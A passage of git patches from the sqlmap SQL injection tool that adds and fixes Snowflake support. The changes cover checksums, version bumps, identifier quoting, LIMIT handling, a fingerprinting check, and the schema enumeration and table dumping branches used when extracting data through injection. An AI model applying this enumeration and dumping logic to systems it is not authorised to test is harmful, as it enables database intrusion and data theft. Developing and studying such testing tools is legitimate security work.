%s" % DBMS.SNOWFLAKE logger.warning(warnMsg) - return False \ No newline at end of file + return False diff --git a/plugins/dbms/snowflake/takeover.py b/plugins/dbms/snowflake/takeover.py index 22a5f429c26..0acd82169f0 100644 --- a/plugins/dbms/snowflake/takeover.py +++ b/plugins/dbms/snowflake/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ From b0feb2a0fdaa4f7cf6d1f22652c316a14db7afaf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 12:09:25 +0100 Subject: [PATCH 027/135] Minor update (#5980) --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/snowflake/fingerprint.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 59534c9a0af..1192bf957d9 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -306d40d69dddc0bbd8168e40df4002bb6d666e323f8211780b5c9619cd70c068 lib/core/settings.py +208cd3025451df35df054d536a439e1915fc33428d428ffbe50f4104a99c6423 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -437,7 +437,7 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/r 5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py bca8e2de881b59314e84f361682e810333b63f8211e6aa5f5a4d0efe1d9bcd31 plugins/dbms/snowflake/enumeration.py 3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py -f51afa612135dbc870bd48085baa867f94fe1809ec8123fea8f62bc3720ac619 plugins/dbms/snowflake/fingerprint.py +16c215879ce089b408c7ee3b1a57b44d18f571623e63318384ce0358f5d0441a plugins/dbms/snowflake/fingerprint.py 1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/snowflake/syntax.py da43fed8bfa4a94aaceb63e760c69e9927c1640e45e457b8f03189be6604693f plugins/dbms/snowflake/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 200bd4d5005..352688b9d6c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.24" +VERSION = "1.10.1.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/snowflake/fingerprint.py b/plugins/dbms/snowflake/fingerprint.py index 51215ec7df8..bd0d70718c2 100644 --- a/plugins/dbms/snowflake/fingerprint.py +++ b/plugins/dbms/snowflake/fingerprint.py @@ -79,7 +79,7 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.SNOWFLAKE logger.info(infoMsg) - result = inject.checkBooleanExpression("MD5_NUMBER_UPPER64('z')=MD5_NUMBER_UPPER64('z')") + result = inject.checkBooleanExpression("MD5_NUMBER_UPPER64('[RANDSTR]')=MD5_NUMBER_UPPER64('[RANDSTR]')") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE logger.warning(warnMsg) From b5a1f6fa090fe947c32318e41c33fd8918ed8bbd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 19:26:14 +0100 Subject: [PATCH 028/135] Lots of fixes for Snowflake implementation (#5980) --- data/txt/sha256sums.txt | 14 ++++++------- data/xml/queries.xml | 38 ++++++++++++++---------------------- lib/core/agent.py | 2 +- lib/core/common.py | 4 ++-- lib/core/dump.py | 2 +- lib/core/settings.py | 6 +++--- plugins/generic/databases.py | 7 +++++-- plugins/generic/entries.py | 6 +++--- 8 files changed, 37 insertions(+), 42 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1192bf957d9..9651229b267 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,7 +85,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -12078af6bdd45397fc855f30738fba5ecaf9948e526d819d226b229d87db2b43 data/xml/queries.xml +b570da4351a22b9ff59c875cfb39d426e439f857826f139388af9b66853465ec data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 7af515e3ad13fb7e9cfa4debc8ec879758c0cfbe67642b760172178cda9cf5cb doc/THANKS.md @@ -166,9 +166,9 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py 1ecbca13afdc7c2bc8dc215c5d7fca453bf836dbe3ca377609750bfbc4874a85 lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -6da126b359e67f73cea7848d3f35dd0890aece16374d04b60490b85e26bf7224 lib/core/agent.py +51db86467312df6469b29e1f5de570de39f59808c06d3ee2275bf884a8bb637b lib/core/agent.py 1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py -5c05d5e27b987b47c4c66e4233e3f33eae77cffc8d1b2d90cb5439c9fafd9b7c lib/core/common.py +3f1fbe7c15b929db81097d10c2897eb1e711f158de51ef9041b4c74e11f3f1d8 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -176,7 +176,7 @@ e396b7971d38896e0e20b973a3a6a3fbc3171d080a21bc6e66a65bee452fd69c lib/core/datat e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 76e2c68051c2c1d811d09eec1ca63bc146f4d047708d6296be1460d047743074 lib/core/dicts.py -186f0331d66e861a942817a3321156a93a6f66c34a19ce90ec1d10aac8bc1cac lib/core/dump.py +143f0b5b30e0f24b3527945879497de1542ba1aee9e6f0f98865e626c4c9317e lib/core/dump.py 1abf1edeacb85eaf5cffd35fcbde4eee2da6f5fc722a8dc1f9287fb55d138418 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -208cd3025451df35df054d536a439e1915fc33428d428ffbe50f4104a99c6423 lib/core/settings.py +503a8e5f76015e904143032994c84a57d87dd280ec5660a5e90a8c7c645f94ef lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -471,8 +471,8 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -f4b803320e9681250b90b7d46cd599ec27fd9f2c0f8ccc707f195707551d0bc0 plugins/generic/databases.py -6a62dbe3feddb12b48c4077478668576e62663ebd8d8aa795820199d9588f919 plugins/generic/entries.py +2dd305e93e62984e68a9dfbfe1f1f0c18b3546a96e5d56cc43c0cb13468dce3b plugins/generic/databases.py +4050f9dfa8a2f8dbe6ae75f91d71b3d1fa3a4b1bd28404c4a346d5a83ad512df plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 0091a66f3f6..7be0bb174b0 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1786,6 +1786,7 @@ + @@ -1793,55 +1794,46 @@ - - + + - + - - - + + + - - - + + - - - - + + - - - + + - - - + + - - - diff --git a/lib/core/agent.py b/lib/core/agent.py index 4c01af0d92d..b421de301d2 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1045,7 +1045,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE): + elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) limitedQuery += " %s" % limitStr diff --git a/lib/core/common.py b/lib/core/common.py index 45604fadcca..150a4f4eedf 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4294,7 +4294,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = "\"%s\"" % retVal.upper() @@ -4333,7 +4333,7 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() diff --git a/lib/core/dump.py b/lib/core/dump.py index d1e094734a2..4ee2f34a249 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -175,7 +175,7 @@ def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/settings.py b/lib/core/settings.py index 352688b9d6c..17db932ce8b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.25" +VERSION = "1.10.1.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -330,14 +330,14 @@ SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) # DBMSes with upper case identifiers -UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE)) +UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE)) # Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 0347815d14e..b09b7513ebe 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -108,7 +108,7 @@ def getDbs(self): warnMsg += "names will be fetched from 'mysql' database" logger.warning(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -628,7 +628,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = re.sub("column_type", "data_type", query, flags=re.I) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -838,6 +838,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None + elif Backend.isDbms(DBMS.SNOWFLAKE): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + field = None elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index b310dc44126..cf1e3cd94e9 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -185,7 +185,7 @@ def dumpTable(self, foundData=None): entries = [] query = None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl) @@ -294,7 +294,7 @@ def dumpTable(self, foundData=None): infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): query = rootQuery.blind.count % tbl @@ -410,7 +410,7 @@ def dumpTable(self, foundData=None): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) From 1da33b99019da19f9975b6f8f1b78ca76c114660 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 19:39:22 +0100 Subject: [PATCH 029/135] Some more fixes for Snowflake implementation (#5980) --- data/txt/sha256sums.txt | 6 +++--- lib/core/agent.py | 2 +- lib/core/settings.py | 4 ++-- plugins/generic/databases.py | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9651229b267..c3a2bafecea 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py 1ecbca13afdc7c2bc8dc215c5d7fca453bf836dbe3ca377609750bfbc4874a85 lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -51db86467312df6469b29e1f5de570de39f59808c06d3ee2275bf884a8bb637b lib/core/agent.py +2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py 1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py 3f1fbe7c15b929db81097d10c2897eb1e711f158de51ef9041b4c74e11f3f1d8 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -503a8e5f76015e904143032994c84a57d87dd280ec5660a5e90a8c7c645f94ef lib/core/settings.py +c5b19612760a7cf54bd9f86670289ecc21882cafd6c1065e8c9c5b328b0bdb07 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -471,7 +471,7 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -2dd305e93e62984e68a9dfbfe1f1f0c18b3546a96e5d56cc43c0cb13468dce3b plugins/generic/databases.py +c091caecc93c01e17fa5432101555cae824492c060b9b7ee35cb49a211365076 plugins/generic/databases.py 4050f9dfa8a2f8dbe6ae75f91d71b3d1fa3a4b1bd28404c4a346d5a83ad512df plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py diff --git a/lib/core/agent.py b/lib/core/agent.py index b421de301d2..a0dc5b5be85 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -724,7 +724,7 @@ def concatQuery(self, query, unpack=True): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - 